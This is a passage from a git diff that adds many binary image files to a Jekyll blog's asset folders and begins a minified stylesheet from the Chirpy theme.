b/assets/cb65fd5ab770/1*vIY0a7z6uDEXf4hFPvC-aQ.png new file mode 100644 index 0000000000..0c963ff493 Binary files /dev/null and b/assets/cb65fd5ab770/1*vIY0a7z6uDEXf4hFPvC-aQ.png differ diff --git a/assets/cb65fd5ab770/1*vNhG9ih29NTLHgX4OelT1Q.jpeg b/assets/cb65fd5ab770/1*vNhG9ih29NTLHgX4OelT1Q.jpeg new file mode 100644 index 0000000000..50763bb9c8 Binary files /dev/null and b/assets/cb65fd5ab770/1*vNhG9ih29NTLHgX4OelT1Q.jpeg differ diff --git a/assets/cb65fd5ab770/1*vQF9g7JsuRThAbDGyNMcog.png b/assets/cb65fd5ab770/1*vQF9g7JsuRThAbDGyNMcog.png new file mode 100644 index 0000000000..2c586ceb12 Binary files /dev/null and b/assets/cb65fd5ab770/1*vQF9g7JsuRThAbDGyNMcog.png differ diff --git a/assets/cb65fd5ab770/1*vTiy5N-mdS3O6fGKdMu2lw.jpeg b/assets/cb65fd5ab770/1*vTiy5N-mdS3O6fGKdMu2lw.jpeg new file mode 100644 index 0000000000..4d388bd47e Binary files /dev/null and b/assets/cb65fd5ab770/1*vTiy5N-mdS3O6fGKdMu2lw.jpeg differ diff --git a/assets/cb65fd5ab770/1*vZJZtTRIK7IPiZwmnYxTeA.jpeg b/assets/cb65fd5ab770/1*vZJZtTRIK7IPiZwmnYxTeA.jpeg new file mode 100644 index 0000000000..4d7859b871 Binary files /dev/null and b/assets/cb65fd5ab770/1*vZJZtTRIK7IPiZwmnYxTeA.jpeg differ diff --git a/assets/cb65fd5ab770/1*vhUdSFJIWV_bXuVC2iBmYg.jpeg b/assets/cb65fd5ab770/1*vhUdSFJIWV_bXuVC2iBmYg.jpeg new file mode 100644 index 0000000000..a92d1ff663 Binary files /dev/null and b/assets/cb65fd5ab770/1*vhUdSFJIWV_bXuVC2iBmYg.jpeg differ diff --git a/assets/cb65fd5ab770/1*w676hOGSlq7_VLmic_qM6w.jpeg b/assets/cb65fd5ab770/1*w676hOGSlq7_VLmic_qM6w.jpeg new file mode 100644 index 0000000000..df286df027 Binary files /dev/null and b/assets/cb65fd5ab770/1*w676hOGSlq7_VLmic_qM6w.jpeg differ diff --git a/assets/cb65fd5ab770/1*w7jgK7IRlc9k4a0tlNJGNQ.jpeg b/assets/cb65fd5ab770/1*w7jgK7IRlc9k4a0tlNJGNQ.jpeg new file mode 100644 index 0000000000..d5aece5342 Binary files /dev/null and b/assets/cb65fd5ab770/1*w7jgK7IRlc9k4a0tlNJGNQ.jpeg differ diff --git a/assets/cb65fd5ab770/1*wJj1Pe8lFbIYO6eTpGv8LA.jpeg b/assets/cb65fd5ab770/1*wJj1Pe8lFbIYO6eTpGv8LA.jpeg new file mode 100644 index 0000000000..b36cdedc0a Binary files /dev/null and b/assets/cb65fd5ab770/1*wJj1Pe8lFbIYO6eTpGv8LA.jpeg differ diff --git a/assets/cb65fd5ab770/1*wU4s-eBMyebdf6LUUcjpyA.png b/assets/cb65fd5ab770/1*wU4s-eBMyebdf6LUUcjpyA.png new file mode 100644 index 0000000000..afc5d98ed8 Binary files /dev/null and b/assets/cb65fd5ab770/1*wU4s-eBMyebdf6LUUcjpyA.png differ diff --git a/assets/cb65fd5ab770/1*w_Ka7p2hwa2sYZsX7EsqnQ.jpeg b/assets/cb65fd5ab770/1*w_Ka7p2hwa2sYZsX7EsqnQ.jpeg new file mode 100644 index 0000000000..a71f1169be Binary files /dev/null and b/assets/cb65fd5ab770/1*w_Ka7p2hwa2sYZsX7EsqnQ.jpeg differ diff --git a/assets/cb65fd5ab770/1*x0mml3ybN2x-Z8KwEGFmGQ.png b/assets/cb65fd5ab770/1*x0mml3ybN2x-Z8KwEGFmGQ.png new file mode 100644 index 0000000000..ed7cd2bdea Binary files /dev/null and b/assets/cb65fd5ab770/1*x0mml3ybN2x-Z8KwEGFmGQ.png differ diff --git a/assets/cb65fd5ab770/1*xFe-6-ZK-9NHOwnP0LxT-Q.jpeg b/assets/cb65fd5ab770/1*xFe-6-ZK-9NHOwnP0LxT-Q.jpeg new file mode 100644 index 0000000000..f7d2131338 Binary files /dev/null and b/assets/cb65fd5ab770/1*xFe-6-ZK-9NHOwnP0LxT-Q.jpeg differ diff --git a/assets/cb65fd5ab770/1*xOI_IAZ1WXE1C6PUGg0PRw.jpeg b/assets/cb65fd5ab770/1*xOI_IAZ1WXE1C6PUGg0PRw.jpeg new file mode 100644 index 0000000000..989822e668 Binary files /dev/null and b/assets/cb65fd5ab770/1*xOI_IAZ1WXE1C6PUGg0PRw.jpeg differ diff --git a/assets/cb65fd5ab770/1*xR_QZPXJueRbbGCiIGy9MA.png b/assets/cb65fd5ab770/1*xR_QZPXJueRbbGCiIGy9MA.png new file mode 100644 index 0000000000..b4469c908d Binary files /dev/null and b/assets/cb65fd5ab770/1*xR_QZPXJueRbbGCiIGy9MA.png differ diff --git a/assets/cb65fd5ab770/1*xlCKOcGiyBpCWV45k_eyRw.jpeg b/assets/cb65fd5ab770/1*xlCKOcGiyBpCWV45k_eyRw.jpeg new file mode 100644 index 0000000000..289424a822 Binary files /dev/null and b/assets/cb65fd5ab770/1*xlCKOcGiyBpCWV45k_eyRw.jpeg differ diff --git a/assets/cb65fd5ab770/1*xu1MAMs6MlfEdo5zCaCsTA.jpeg b/assets/cb65fd5ab770/1*xu1MAMs6MlfEdo5zCaCsTA.jpeg new file mode 100644 index 0000000000..0fc39e7621 Binary files /dev/null and b/assets/cb65fd5ab770/1*xu1MAMs6MlfEdo5zCaCsTA.jpeg differ diff --git a/assets/cb65fd5ab770/1*y2sY5YvMPApPiDO2lQW8OA.png b/assets/cb65fd5ab770/1*y2sY5YvMPApPiDO2lQW8OA.png new file mode 100644 index 0000000000..c2dc59f388 Binary files /dev/null and b/assets/cb65fd5ab770/1*y2sY5YvMPApPiDO2lQW8OA.png differ diff --git a/assets/cb65fd5ab770/1*y87E38-k0PyXDEJYxSmSpw.jpeg b/assets/cb65fd5ab770/1*y87E38-k0PyXDEJYxSmSpw.jpeg new file mode 100644 index 0000000000..b39c9bacfe Binary files /dev/null and b/assets/cb65fd5ab770/1*y87E38-k0PyXDEJYxSmSpw.jpeg differ diff --git a/assets/cb65fd5ab770/1*yDi2vXJySM7Ysez_wDOdeg.jpeg b/assets/cb65fd5ab770/1*yDi2vXJySM7Ysez_wDOdeg.jpeg new file mode 100644 index 0000000000..4a123a2672 Binary files /dev/null and b/assets/cb65fd5ab770/1*yDi2vXJySM7Ysez_wDOdeg.jpeg differ diff --git a/assets/cb65fd5ab770/1*yL3vI1ADzwlovctW5WQgJw.jpeg b/assets/cb65fd5ab770/1*yL3vI1ADzwlovctW5WQgJw.jpeg new file mode 100644 index 0000000000..18097d4664 Binary files /dev/null and b/assets/cb65fd5ab770/1*yL3vI1ADzwlovctW5WQgJw.jpeg differ diff --git a/assets/cb65fd5ab770/1*yOovAdp4zdLKPAjME4PzzQ.jpeg b/assets/cb65fd5ab770/1*yOovAdp4zdLKPAjME4PzzQ.jpeg new file mode 100644 index 0000000000..ab300fb0ff Binary files /dev/null and b/assets/cb65fd5ab770/1*yOovAdp4zdLKPAjME4PzzQ.jpeg differ diff --git a/assets/cb65fd5ab770/1*ySndojhKFv58zr_yeeqLig.jpeg b/assets/cb65fd5ab770/1*ySndojhKFv58zr_yeeqLig.jpeg new file mode 100644 index 0000000000..9fe1965751 Binary files /dev/null and b/assets/cb65fd5ab770/1*ySndojhKFv58zr_yeeqLig.jpeg differ diff --git a/assets/cb65fd5ab770/1*yT9z9Ki06UmS2vd3sZnH_A.png b/assets/cb65fd5ab770/1*yT9z9Ki06UmS2vd3sZnH_A.png new file mode 100644 index 0000000000..ba325a64c0 Binary files /dev/null and b/assets/cb65fd5ab770/1*yT9z9Ki06UmS2vd3sZnH_A.png differ diff --git a/assets/cb65fd5ab770/1*ytBrs15nnhGhDm7iECNNwA.png b/assets/cb65fd5ab770/1*ytBrs15nnhGhDm7iECNNwA.png new file mode 100644 index 0000000000..e98fefc018 Binary files /dev/null and b/assets/cb65fd5ab770/1*ytBrs15nnhGhDm7iECNNwA.png differ diff --git a/assets/cb65fd5ab770/1*yx7-Uip2uAUTtMNgVsutsQ.jpeg b/assets/cb65fd5ab770/1*yx7-Uip2uAUTtMNgVsutsQ.jpeg new file mode 100644 index 0000000000..e66fc353fd Binary files /dev/null and b/assets/cb65fd5ab770/1*yx7-Uip2uAUTtMNgVsutsQ.jpeg differ diff --git a/assets/cb65fd5ab770/1*z5zPwBfw0S8v0kAgB_mUbQ.jpeg b/assets/cb65fd5ab770/1*z5zPwBfw0S8v0kAgB_mUbQ.jpeg new file mode 100644 index 0000000000..0891a76c44 Binary files /dev/null and b/assets/cb65fd5ab770/1*z5zPwBfw0S8v0kAgB_mUbQ.jpeg differ diff --git a/assets/cb65fd5ab770/1*zA4Ob_gIYacQFs-SO9K-OQ.jpeg b/assets/cb65fd5ab770/1*zA4Ob_gIYacQFs-SO9K-OQ.jpeg new file mode 100644 index 0000000000..9e29329b2a Binary files /dev/null and b/assets/cb65fd5ab770/1*zA4Ob_gIYacQFs-SO9K-OQ.jpeg differ diff --git a/assets/cb65fd5ab770/1*zHek4voLVP7wdbce-xnwlg.jpeg b/assets/cb65fd5ab770/1*zHek4voLVP7wdbce-xnwlg.jpeg new file mode 100644 index 0000000000..ca025e2132 Binary files /dev/null and b/assets/cb65fd5ab770/1*zHek4voLVP7wdbce-xnwlg.jpeg differ diff --git a/assets/cb65fd5ab770/1*zJQieatKUKDHJX8aNtIYBA.png b/assets/cb65fd5ab770/1*zJQieatKUKDHJX8aNtIYBA.png new file mode 100644 index 0000000000..0d5c6aea80 Binary files /dev/null and b/assets/cb65fd5ab770/1*zJQieatKUKDHJX8aNtIYBA.png differ diff --git a/assets/cb65fd5ab770/1*zNDWsa7yqKPxtw8J_2moDQ.jpeg b/assets/cb65fd5ab770/1*zNDWsa7yqKPxtw8J_2moDQ.jpeg new file mode 100644 index 0000000000..ea234ea484 Binary files /dev/null and b/assets/cb65fd5ab770/1*zNDWsa7yqKPxtw8J_2moDQ.jpeg differ diff --git a/assets/cb65fd5ab770/1*zhSGnRjLQFQkq14KSgH88g.jpeg b/assets/cb65fd5ab770/1*zhSGnRjLQFQkq14KSgH88g.jpeg new file mode 100644 index 0000000000..12ef7c71da Binary files /dev/null and b/assets/cb65fd5ab770/1*zhSGnRjLQFQkq14KSgH88g.jpeg differ diff --git a/assets/cb65fd5ab770/1*zjptOdU4U7uNn8gFtXdj7A.jpeg b/assets/cb65fd5ab770/1*zjptOdU4U7uNn8gFtXdj7A.jpeg new file mode 100644 index 0000000000..5da5080976 Binary files /dev/null and b/assets/cb65fd5ab770/1*zjptOdU4U7uNn8gFtXdj7A.jpeg differ diff --git a/assets/cb65fd5ab770/1*zqaeRpTNBTX0Wc5OuKi0Vw.jpeg b/assets/cb65fd5ab770/1*zqaeRpTNBTX0Wc5OuKi0Vw.jpeg new file mode 100644 index 0000000000..b7f2752eac Binary files /dev/null and b/assets/cb65fd5ab770/1*zqaeRpTNBTX0Wc5OuKi0Vw.jpeg differ diff --git a/assets/cb65fd5ab770/1*zwSAEOYQjkgCYv8vvHJ1ow.jpeg b/assets/cb65fd5ab770/1*zwSAEOYQjkgCYv8vvHJ1ow.jpeg new file mode 100644 index 0000000000..1e46b12ec9 Binary files /dev/null and b/assets/cb65fd5ab770/1*zwSAEOYQjkgCYv8vvHJ1ow.jpeg differ diff --git a/assets/cb65fd5ab770/116b_hqdefault.jpg b/assets/cb65fd5ab770/116b_hqdefault.jpg new file mode 100644 index 0000000000..ecea26c2ad Binary files /dev/null and b/assets/cb65fd5ab770/116b_hqdefault.jpg differ diff --git a/assets/cb65fd5ab770/2940_hqdefault.jpg b/assets/cb65fd5ab770/2940_hqdefault.jpg new file mode 100644 index 0000000000..0795579754 Binary files /dev/null and b/assets/cb65fd5ab770/2940_hqdefault.jpg differ diff --git a/assets/cb65fd5ab770/39b5_hqdefault.jpg b/assets/cb65fd5ab770/39b5_hqdefault.jpg new file mode 100644 index 0000000000..7f61e21f37 Binary files /dev/null and b/assets/cb65fd5ab770/39b5_hqdefault.jpg differ diff --git a/assets/cb65fd5ab770/7181_hqdefault.jpg b/assets/cb65fd5ab770/7181_hqdefault.jpg new file mode 100644 index 0000000000..ffd675e638 Binary files /dev/null and b/assets/cb65fd5ab770/7181_hqdefault.jpg differ diff --git a/assets/cb65fd5ab770/7ac3_hqdefault.jpg b/assets/cb65fd5ab770/7ac3_hqdefault.jpg new file mode 100644 index 0000000000..ee01216a03 Binary files /dev/null and b/assets/cb65fd5ab770/7ac3_hqdefault.jpg differ diff --git a/assets/cb65fd5ab770/be0a_hqdefault.jpg b/assets/cb65fd5ab770/be0a_hqdefault.jpg new file mode 100644 index 0000000000..6e4c0eb83a Binary files /dev/null and b/assets/cb65fd5ab770/be0a_hqdefault.jpg differ diff --git a/assets/cb65fd5ab770/ce32_hqdefault.jpg b/assets/cb65fd5ab770/ce32_hqdefault.jpg new file mode 100644 index 0000000000..fdea716cc5 Binary files /dev/null and b/assets/cb65fd5ab770/ce32_hqdefault.jpg differ diff --git a/assets/cb65fd5ab770/e478_hqdefault.jpg b/assets/cb65fd5ab770/e478_hqdefault.jpg new file mode 100644 index 0000000000..71830aa6da Binary files /dev/null and b/assets/cb65fd5ab770/e478_hqdefault.jpg differ diff --git a/assets/cb65fd5ab770/f50b_hqdefault.jpg b/assets/cb65fd5ab770/f50b_hqdefault.jpg new file mode 100644 index 0000000000..c138f838c2 Binary files /dev/null and b/assets/cb65fd5ab770/f50b_hqdefault.jpg differ diff --git a/assets/cb6eba52a342/1*2KRusR8MJUim7UH1CmS7pw.png b/assets/cb6eba52a342/1*2KRusR8MJUim7UH1CmS7pw.png new file mode 100644 index 0000000000..6cdb1b2e2f Binary files /dev/null and b/assets/cb6eba52a342/1*2KRusR8MJUim7UH1CmS7pw.png differ diff --git a/assets/cb6eba52a342/1*3DF_fMQLSrGxTbmLY6CJAg.png b/assets/cb6eba52a342/1*3DF_fMQLSrGxTbmLY6CJAg.png new file mode 100644 index 0000000000..d4373b8bb6 Binary files /dev/null and b/assets/cb6eba52a342/1*3DF_fMQLSrGxTbmLY6CJAg.png differ diff --git a/assets/cb6eba52a342/1*8juoKO7BZiT3PQjqufWcrA.jpeg b/assets/cb6eba52a342/1*8juoKO7BZiT3PQjqufWcrA.jpeg new file mode 100644 index 0000000000..b54131a76f Binary files /dev/null and b/assets/cb6eba52a342/1*8juoKO7BZiT3PQjqufWcrA.jpeg differ diff --git a/assets/cb6eba52a342/1*SepeUiS7CN7xmGFxariPjA.png b/assets/cb6eba52a342/1*SepeUiS7CN7xmGFxariPjA.png new file mode 100644 index 0000000000..5df57739f9 Binary files /dev/null and b/assets/cb6eba52a342/1*SepeUiS7CN7xmGFxariPjA.png differ diff --git a/assets/cb6eba52a342/1*UsCd2btDPK6GWKrYEA9LbQ.png b/assets/cb6eba52a342/1*UsCd2btDPK6GWKrYEA9LbQ.png new file mode 100644 index 0000000000..6b1308317d Binary files /dev/null and b/assets/cb6eba52a342/1*UsCd2btDPK6GWKrYEA9LbQ.png differ diff --git a/assets/cb6eba52a342/1*ZjPVTxLR6ywAdk70Y7_J7A.png b/assets/cb6eba52a342/1*ZjPVTxLR6ywAdk70Y7_J7A.png new file mode 100644 index 0000000000..aca7a18366 Binary files /dev/null and b/assets/cb6eba52a342/1*ZjPVTxLR6ywAdk70Y7_J7A.png differ diff --git a/assets/cb6eba52a342/1*dd2kRizi6v-AIXcMWourow.png b/assets/cb6eba52a342/1*dd2kRizi6v-AIXcMWourow.png new file mode 100644 index 0000000000..3165d9ccc0 Binary files /dev/null and b/assets/cb6eba52a342/1*dd2kRizi6v-AIXcMWourow.png differ diff --git a/assets/cb6eba52a342/1*sAuzxJPpohTGp-KV13yupg.png b/assets/cb6eba52a342/1*sAuzxJPpohTGp-KV13yupg.png new file mode 100644 index 0000000000..477dcc2181 Binary files /dev/null and b/assets/cb6eba52a342/1*sAuzxJPpohTGp-KV13yupg.png differ diff --git a/assets/cefdf4d41746/1*122Bzn6wwBQOVTRexCqTtQ.jpeg b/assets/cefdf4d41746/1*122Bzn6wwBQOVTRexCqTtQ.jpeg new file mode 100644 index 0000000000..93a6fb2a6d Binary files /dev/null and b/assets/cefdf4d41746/1*122Bzn6wwBQOVTRexCqTtQ.jpeg differ diff --git a/assets/cefdf4d41746/1*3CbPc2JWktdSBpTvS7NWbw.png b/assets/cefdf4d41746/1*3CbPc2JWktdSBpTvS7NWbw.png new file mode 100644 index 0000000000..a72970b93b Binary files /dev/null and b/assets/cefdf4d41746/1*3CbPc2JWktdSBpTvS7NWbw.png differ diff --git a/assets/cefdf4d41746/1*4zFUsFwqRaez2A_GWw4Trg.jpeg b/assets/cefdf4d41746/1*4zFUsFwqRaez2A_GWw4Trg.jpeg new file mode 100644 index 0000000000..f7d4691c77 Binary files /dev/null and b/assets/cefdf4d41746/1*4zFUsFwqRaez2A_GWw4Trg.jpeg differ diff --git a/assets/cefdf4d41746/1*7KnLk6zd3PwAhV6AyRhY2g.png b/assets/cefdf4d41746/1*7KnLk6zd3PwAhV6AyRhY2g.png new file mode 100644 index 0000000000..799bad6c02 Binary files /dev/null and b/assets/cefdf4d41746/1*7KnLk6zd3PwAhV6AyRhY2g.png differ diff --git a/assets/cefdf4d41746/1*8zuNpXtNatp5uL6h9RUoUA.jpeg b/assets/cefdf4d41746/1*8zuNpXtNatp5uL6h9RUoUA.jpeg new file mode 100644 index 0000000000..c67fc5e95e Binary files /dev/null and b/assets/cefdf4d41746/1*8zuNpXtNatp5uL6h9RUoUA.jpeg differ diff --git a/assets/cefdf4d41746/1*9laiOHQ5rnY7U5DHLhu8Pw.png b/assets/cefdf4d41746/1*9laiOHQ5rnY7U5DHLhu8Pw.png new file mode 100644 index 0000000000..75de7ae969 Binary files /dev/null and b/assets/cefdf4d41746/1*9laiOHQ5rnY7U5DHLhu8Pw.png differ diff --git a/assets/cefdf4d41746/1*FqJF7hsBAdYXxNe4dBUNWw.png b/assets/cefdf4d41746/1*FqJF7hsBAdYXxNe4dBUNWw.png new file mode 100644 index 0000000000..f706edbc57 Binary files /dev/null and b/assets/cefdf4d41746/1*FqJF7hsBAdYXxNe4dBUNWw.png differ diff --git a/assets/cefdf4d41746/1*G8lpZ-fhR6p3B7IPbyK30w.png b/assets/cefdf4d41746/1*G8lpZ-fhR6p3B7IPbyK30w.png new file mode 100644 index 0000000000..4d9b8eccc5 Binary files /dev/null and b/assets/cefdf4d41746/1*G8lpZ-fhR6p3B7IPbyK30w.png differ diff --git a/assets/cefdf4d41746/1*IdKpBZZx1y79GVCGElkdnA.jpeg b/assets/cefdf4d41746/1*IdKpBZZx1y79GVCGElkdnA.jpeg new file mode 100644 index 0000000000..0b704aa9da Binary files /dev/null and b/assets/cefdf4d41746/1*IdKpBZZx1y79GVCGElkdnA.jpeg differ diff --git a/assets/cefdf4d41746/1*LKHddq49OOoMrqdbZ8yN9Q.png b/assets/cefdf4d41746/1*LKHddq49OOoMrqdbZ8yN9Q.png new file mode 100644 index 0000000000..32f87edf4e Binary files /dev/null and b/assets/cefdf4d41746/1*LKHddq49OOoMrqdbZ8yN9Q.png differ diff --git a/assets/cefdf4d41746/1*Nb7CN_Dy0mL9nDXgu4kY0Q.png b/assets/cefdf4d41746/1*Nb7CN_Dy0mL9nDXgu4kY0Q.png new file mode 100644 index 0000000000..0e44afecf8 Binary files /dev/null and b/assets/cefdf4d41746/1*Nb7CN_Dy0mL9nDXgu4kY0Q.png differ diff --git a/assets/cefdf4d41746/1*PaNVqsfWPYvxvoZyDl8-1A.png b/assets/cefdf4d41746/1*PaNVqsfWPYvxvoZyDl8-1A.png new file mode 100644 index 0000000000..3faaef94bd Binary files /dev/null and b/assets/cefdf4d41746/1*PaNVqsfWPYvxvoZyDl8-1A.png differ diff --git a/assets/cefdf4d41746/1*ScYvGm67HDeBRVTTBY9qMA.png b/assets/cefdf4d41746/1*ScYvGm67HDeBRVTTBY9qMA.png new file mode 100644 index 0000000000..f5ddeabcd2 Binary files /dev/null and b/assets/cefdf4d41746/1*ScYvGm67HDeBRVTTBY9qMA.png differ diff --git a/assets/cefdf4d41746/1*TNnWWsYxCW55uR-9NxEsNw.png b/assets/cefdf4d41746/1*TNnWWsYxCW55uR-9NxEsNw.png new file mode 100644 index 0000000000..8cea94173c Binary files /dev/null and b/assets/cefdf4d41746/1*TNnWWsYxCW55uR-9NxEsNw.png differ diff --git a/assets/cefdf4d41746/1*WFb9iQKt7iOj_4DLTPjHjA.jpeg b/assets/cefdf4d41746/1*WFb9iQKt7iOj_4DLTPjHjA.jpeg new file mode 100644 index 0000000000..4a153e0b77 Binary files /dev/null and b/assets/cefdf4d41746/1*WFb9iQKt7iOj_4DLTPjHjA.jpeg differ diff --git a/assets/cefdf4d41746/1*YH253qiheEnJ-zrYdaIIvw.png b/assets/cefdf4d41746/1*YH253qiheEnJ-zrYdaIIvw.png new file mode 100644 index 0000000000..70b422f582 Binary files /dev/null and b/assets/cefdf4d41746/1*YH253qiheEnJ-zrYdaIIvw.png differ diff --git a/assets/cefdf4d41746/1*ZdaIPu0wOKJaj15IYPgUfg.png b/assets/cefdf4d41746/1*ZdaIPu0wOKJaj15IYPgUfg.png new file mode 100644 index 0000000000..51a9a4af02 Binary files /dev/null and b/assets/cefdf4d41746/1*ZdaIPu0wOKJaj15IYPgUfg.png differ diff --git a/assets/cefdf4d41746/1*_ySM_z4wMTd4xYCaJIVtmw.png b/assets/cefdf4d41746/1*_ySM_z4wMTd4xYCaJIVtmw.png new file mode 100644 index 0000000000..ad2e724746 Binary files /dev/null and b/assets/cefdf4d41746/1*_ySM_z4wMTd4xYCaJIVtmw.png differ diff --git a/assets/cefdf4d41746/1*cFOr2WXcBPP_d2Dv9WvYOw.png b/assets/cefdf4d41746/1*cFOr2WXcBPP_d2Dv9WvYOw.png new file mode 100644 index 0000000000..5b8403a1f4 Binary files /dev/null and b/assets/cefdf4d41746/1*cFOr2WXcBPP_d2Dv9WvYOw.png differ diff --git a/assets/cefdf4d41746/1*dckrz_jFSeodLSm2w6_zYA.png b/assets/cefdf4d41746/1*dckrz_jFSeodLSm2w6_zYA.png new file mode 100644 index 0000000000..b84d3cfb85 Binary files /dev/null and b/assets/cefdf4d41746/1*dckrz_jFSeodLSm2w6_zYA.png differ diff --git a/assets/cefdf4d41746/1*eXCCCdQq_JYs_UqO9deMVw.jpeg b/assets/cefdf4d41746/1*eXCCCdQq_JYs_UqO9deMVw.jpeg new file mode 100644 index 0000000000..b9aedad4ff Binary files /dev/null and b/assets/cefdf4d41746/1*eXCCCdQq_JYs_UqO9deMVw.jpeg differ diff --git a/assets/cefdf4d41746/1*gl95_dE6dcKADzICOHUC7w.png b/assets/cefdf4d41746/1*gl95_dE6dcKADzICOHUC7w.png new file mode 100644 index 0000000000..25e2e8f6b2 Binary files /dev/null and b/assets/cefdf4d41746/1*gl95_dE6dcKADzICOHUC7w.png differ diff --git a/assets/cefdf4d41746/1*j7NUVaESovvsXx_O4Oq29A.png b/assets/cefdf4d41746/1*j7NUVaESovvsXx_O4Oq29A.png new file mode 100644 index 0000000000..485801aadf Binary files /dev/null and b/assets/cefdf4d41746/1*j7NUVaESovvsXx_O4Oq29A.png differ diff --git a/assets/cefdf4d41746/1*mP9Z-0rPVHVLB0cA3UnD2g.png b/assets/cefdf4d41746/1*mP9Z-0rPVHVLB0cA3UnD2g.png new file mode 100644 index 0000000000..266a11f765 Binary files /dev/null and b/assets/cefdf4d41746/1*mP9Z-0rPVHVLB0cA3UnD2g.png differ diff --git a/assets/cefdf4d41746/1*n4gRDzM7X0_ISV3gMYSe6w.png b/assets/cefdf4d41746/1*n4gRDzM7X0_ISV3gMYSe6w.png new file mode 100644 index 0000000000..87d8f23367 Binary files /dev/null and b/assets/cefdf4d41746/1*n4gRDzM7X0_ISV3gMYSe6w.png differ diff --git a/assets/cefdf4d41746/1*nv9gVnLeFWi9zNo5evqdyA.jpeg b/assets/cefdf4d41746/1*nv9gVnLeFWi9zNo5evqdyA.jpeg new file mode 100644 index 0000000000..6cf99ec434 Binary files /dev/null and b/assets/cefdf4d41746/1*nv9gVnLeFWi9zNo5evqdyA.jpeg differ diff --git a/assets/cefdf4d41746/1*qudLUHY7JqphRC_FAodk8g.png b/assets/cefdf4d41746/1*qudLUHY7JqphRC_FAodk8g.png new file mode 100644 index 0000000000..6e22762f72 Binary files /dev/null and b/assets/cefdf4d41746/1*qudLUHY7JqphRC_FAodk8g.png differ diff --git a/assets/cefdf4d41746/1*t-u07Bfw6JXT_Uz0Izs6ug.png b/assets/cefdf4d41746/1*t-u07Bfw6JXT_Uz0Izs6ug.png new file mode 100644 index 0000000000..e737bc9cb9 Binary files /dev/null and b/assets/cefdf4d41746/1*t-u07Bfw6JXT_Uz0Izs6ug.png differ diff --git a/assets/cefdf4d41746/1*wUh3kXVOBsP0eVqflA8sRw.png b/assets/cefdf4d41746/1*wUh3kXVOBsP0eVqflA8sRw.png new file mode 100644 index 0000000000..b1bf12f3c9 Binary files /dev/null and b/assets/cefdf4d41746/1*wUh3kXVOBsP0eVqflA8sRw.png differ diff --git a/assets/cefdf4d41746/1*x21YKFPzYeNveB1m8_jDfg.png b/assets/cefdf4d41746/1*x21YKFPzYeNveB1m8_jDfg.png new file mode 100644 index 0000000000..fc7ceec95b Binary files /dev/null and b/assets/cefdf4d41746/1*x21YKFPzYeNveB1m8_jDfg.png differ diff --git a/assets/css/style.css b/assets/css/style.css new file mode 100644 index 0000000000..51a6135c46 --- /dev/null +++ b/assets/css/style.css @@ -0,0 +1,7 @@ +/*! + * Chirpy v6.1.0 (https://github.com/cotes2020/jekyll-theme-chirpy) + * © 2019 Cotes Chung + * MIT Licensed + */#search-results a,h5,h4,h3,h2,h1{color:var(--heading-color);font-weight:400;font-family:Lato,"Microsoft Yahei",sans-serif}#core-wrapper h5,#core-wrapper h4,#core-wrapper h3,#core-wrapper h2{margin-top:2.5rem;margin-bottom:1.25rem}#core-wrapper h5:focus,#core-wrapper h4:focus,#core-wrapper h3:focus,#core-wrapper h2:focus{outline:none}h5 .anchor,h4 .anchor,h3 .anchor,h2 .anchor{font-size:80%}@media(hover: hover){h5 .anchor,h4 .anchor,h3 .anchor,h2 .anchor{visibility:hidden;opacity:0;transition:opacity .25s ease-in,visibility 0s ease-in .25s}h5:hover .anchor,h4:hover .anchor,h3:hover .anchor,h2:hover .anchor{visibility:visible;opacity:1;transition:opacity .25s ease-in,visibility 0s ease-in 0s}}.post-tags .post-tag:hover,.tag:hover{background:var(--tag-hover);transition:background .35s ease-in-out}.table-wrapper>table tbody tr td,.table-wrapper>table thead th{padding:.4rem 1rem;font-size:95%;white-space:nowrap}#page-category a:hover,#page-tag a:hover,.post-tags .post-tag:hover,.post-tail-wrapper .license-wrapper>a:hover,#search-results a:hover,#topbar #breadcrumb a:hover,.post-content a:not(.img-link):hover,.post-meta a:not([class]):hover,#access-lastmod a:hover,footer a:hover{color:#d2603a !important;border-bottom:1px solid #d2603a;text-decoration:none}#search-results a,#search-hints .post-tag,a{color:var(--link-color)}.post-tail-wrapper .post-meta a:not(:hover),.post-content a:not(.img-link){border-bottom:1px solid var(--link-underline-color)}#sidebar .sidebar-bottom a,#sidebar .site-title a,#sidebar .profile-wrapper{transition:all .3s ease-in-out}#sidebar .sidebar-bottom .icon-border,.post-content a.popup,i.far,i.fas,.code-header{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}#page-category ul>li>a,#page-tag ul>li>a,.post-tags .post-tag:hover,#core-wrapper .categories a:not(:hover),#core-wrapper #tags a:not(:hover),#core-wrapper #archives a:not(:hover),#search-results a,#access-lastmod a{border-bottom:none}.post-tail-wrapper .share-wrapper .share-icons>i,#search-cancel,.code-header button{cursor:pointer}#related-posts em,#post-list .card .card-body .post-meta em,.post-meta em{font-style:normal}.categories.card,.categories .list-group,.preview-img img,.preview-img,.embed-video,.post-preview::before,.post-preview,blockquote[class^=prompt-],.code-header button,div[class^=language-],.highlight{border-radius:.5rem}.post-content a.popup+em,img[data-src]+em{display:block;text-align:center;font-style:normal;font-size:80%;padding:0;color:#6d6c6c}#sidebar .sidebar-bottom .mode-toggle,#sidebar a{color:rgba(117,117,117,.9);-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}#related-posts .card h4,#post-list .card .card-body .card-text.post-content p,#post-list .card .card-body .card-title{display:-webkit-box;overflow:hidden;text-overflow:ellipsis;-webkit-line-clamp:2;-webkit-box-orient:vertical}@media(prefers-color-scheme: light){html:not([data-mode]),html[data-mode=light]{--language-border-color: rgba(172, 169, 169, 0.2);--highlight-bg-color: #f7f7f7;--highlighter-rouge-color: #3f596f;--highlight-lineno-color: #c2c6cc;--inline-code-bg: #f6f6f7;--code-header-text-color: #a3a3b1;--code-header-muted-color: #ebebeb;--code-header-icon-color: #d1d1d1;--clipboard-checked-color: #43c743}html:not([data-mode]) .highlight .hll,html[data-mode=light] .highlight .hll{background-color:#ffc}html:not([data-mode]) .highlight .c,html[data-mode=light] .highlight .c{color:#998;font-style:italic}html:not([data-mode]) .highlight .err,html[data-mode=light] .highlight .err{color:#a61717;background-color:#e3d2d2}html:not([data-mode]) .highlight .k,html[data-mode=light] .highlight .k{color:#000;font-weight:bold}html:not([data-mode]) .highlight .o,html[data-mode=light] .highlight .o{color:#000;font-weight:bold}html:not([data-mode]) .highlight .cm,html[data-mode=light] .highlight .cm{color:#998;font-style:italic}html:not([data-mode]) .highlight .cp,html[data-mode=light] .highlight .cp{color:#999;font-weight:bold;font-style:italic}html:not([data-mode]) .highlight 